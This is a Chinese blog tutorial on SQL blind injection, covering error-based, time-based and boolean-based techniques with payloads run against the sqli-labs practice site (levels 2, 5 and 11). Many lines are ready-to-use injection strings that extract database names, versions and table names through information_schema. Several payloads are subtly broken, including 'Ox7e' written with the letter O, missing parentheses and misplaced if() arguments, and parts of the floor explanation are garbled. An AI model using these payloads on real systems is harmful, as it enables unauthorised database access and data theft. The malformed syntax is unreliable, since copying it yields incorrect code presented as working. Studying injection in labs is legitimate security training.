系列2:7、sql注入之盲注

sql盲注

一、报错盲注

基于报错的SQL盲注–报错回显(强制性报错)函数解析:
(这两个函数在使用过程中,如果第二个参数不是XPath格式,则会报错)
SQL报错注入原理:
报错注入是人为的构造出查询错误,从回显的错误信息中带出需要的数据,

1、updatexml()

从目标XML中更改包含所查询值的字符串
第一个参数: XML_document是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_string(Xpath格式字符串)
第三个参数: new_value,String格式,替换查找到的符合条件的数据
updatexml (XML_document,XPath_String,new_value) ;

'or updatexml(1,concat(Ox7e,database)),0)or'
2、以floor报错注入为例:

count(*)、 rand()、group by三者缺一不可
floor()是取整数
rand()在0和1之间产生一个随机数
rand(0)*2将取0到2的随机数
floor(rand()2)有两条记录就会报错
floor(rand(0)2)记录需为3条以上,且3条以上必报错,返回的值是有规律的
count(
)是用来统计结果的,相当于刷新一次结果
group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入存在的话count(
)加1
在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次

3、extractvalue()

从目标XML中返回包含所查询值的字符串
第一个参数: XML_document是String格式,为XML文档对象的名称,文中为DOC第二个参数:XPath_String (Xpath格式字符串)
extractvalue(XML_document,×Path_String)

' or extractvalue(1,concat(Ox7e,database())) or'
' union select 1,extractvalue(1,concat(Ox7e,(select version())))%23
4、实例(靶场11关)

(1)打开发现只有一个提交表单页面,无论写什么信息进行提交都没有任何结果显示,此时可以利用报错注入
在这里插入图片描述
(2)利用burpsuite抓取一次提交信息
在这里插入图片描述
(3)判断数据类型,先加一个单引号试试

在这里插入图片描述

在这里插入图片描述

(4)发现报错,初步判断为单引号。再加一个双引号看结果查看判断是否正确
在这里插入图片描述

在这里插入图片描述

(5)确定为单引号类型,使用order by确定字段数,直到改为3出现报错,所以有两个字段
在这里插入图片描述

在这里插入图片描述
(6)使用union 进行报错盲注(查询版本号)
查询版本号
(0x7e:~的十六进制,%23:#的十六进制)
在这里插入图片描述

(7)报错盲注(查询数据库名)
在这里插入图片描述
(limit 0,1:从0开始取一位)
在这里插入图片描述

二、时间盲注

基于时间的SQL盲注–延时判断
1、相关函数:

sleep () :Sleep函数可以使计算机程序(进程,任务或线程)进入休眠
if ()if是计算机编程语言一个关键字,分支结构的一种
mid(a,b,c):从b开始,截取a字符串的c位
substr(a,b,c):从b开始,截取字符串a的c长度
left(database(),1),database() :left(a,b)从左侧截取a的前b位
length(database())=8 :判断长度
 ascii(x)=100:判断x的ascii值是否为100

2、实例验证
(1)在sql靶场第二关使用sleep函数

#在前边知道第二关数据库名为security,所以会发现在五秒钟之后才会显示此页面
 and sleep(if(database()='security'),5,0)

在这里插入图片描述

注意:此方法一般不建议使用,因为时间受很多因素的影响

(2)验证length函数

#数据库名为security,长度为8,所以会发现在五秒钟之后才会显示此页面
and sleep(if(length(database()=8),5,0))

在这里插入图片描述
(3)验证mid()函数

#数据库名为security,第一个字母不为t,所以会发现在五秒钟之后才会显示此页面
id=1 and sleep(if(mid(database(),1,1)='t',0,5))--+

在这里插入图片描述

三、布尔盲注

1、什么是布尔盲注?

Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
在这里插入图片描述

2、实例(靶场第五关)

(1)通过前边的方法找到注入点和数据类型,发现页面只有正确和错误时两种结果,此时想到布尔盲注。

在这里插入图片描述
在这里插入图片描述
(2)判断数据库长度

#修改数字从18,在8时页面返回正确,确定数据库名长度为8
id=1' and length(database())=1 --+
id=1' and length(database())=8 --+

在这里插入图片描述

在这里插入图片描述(3)解数据库(二分法)

#ascii0-127包含键盘上的所有字符,将其分为两半,先判断与64大小。
id=1' and ascii(mid(database(),1,1))>64--+

在这里插入图片描述
#再进一步将65-127一分为二,比较大小
在这里插入图片描述
以此类推找到等于的数值,对照ascii码表得到数据库第一个字符为s

在这里插入图片描述

#以此类推,猜解剩余字符
#例猜解第二位:
id=1' and ascii(mid(database(),2,1))>64--+

(4)猜解表名(同为二分法)

#推出表名第一个字符为e
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+

在这里插入图片描述
以此类推,得出表名。

四、总结

1.布尔型盲注:根据页面返回的真假来判断的即为布尔型盲注
2.时间型盲注:根据页面返回的时间来判断的即为时间型盲注
3.报错型盲注:根据页面返回的对错来判断的即为报错型盲注人百

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值